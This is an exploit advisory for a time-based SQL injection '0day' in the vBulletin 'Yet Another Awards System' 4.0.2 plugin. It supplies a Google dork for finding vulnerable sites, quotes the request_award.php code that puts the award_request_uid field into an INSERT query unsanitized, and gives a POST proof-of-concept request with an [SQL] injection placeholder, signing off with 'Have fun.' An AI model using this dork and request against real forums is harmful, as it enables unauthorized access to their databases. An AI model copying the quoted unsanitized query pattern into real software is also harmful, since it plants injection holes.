vBulletin Yet Another Awards System 4.0.2 – SQL Injection
# Exploit Title: vBulletin Yet Another Awards System 4.0.2 Time Based SQL Injection 0day # Google Dork: inurl:awards.php intext:"powered by vbulletin" # Date: 29/08/12 # Exploit Author: Backsl@sh/Dan # Software Link: http://www.vbulletin.org/forum/showthread.php?t=232684 # Version: 4.0.2+ The vulnerability exists within /request_award.php. $vbulletin->input->clean_array_gpc('p', array( 'award_id' => TYPE_UINT, //'award_request_name' => TYPE_STR, //'award_request_recipient_name' => TYPE_STR, 'award_request_reason' => TYPE_STR, 'award_request_uid' => TYPE_UNIT, )); > $award_request_uid = $vbulletin->GPC['award_request_uid']; > > $db->query_write("INSERT INTO " . TABLE_PREFIX . "award_requests (award_req_uid, award_rec_uid, award_req_aid, award_req_reason) VALUES ('$award_request_uid', '$award_request_uid', '$award[award_id]', '". $db->escape_string($vbulletin->GPC['award_request_reason']) ."')"); $award_request_uid is used within an insert into statement, unsanitized. - POC - http://[site].com/request_award.php POST: do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit Thanks. Have fun. http://www.bugabuse.net/ |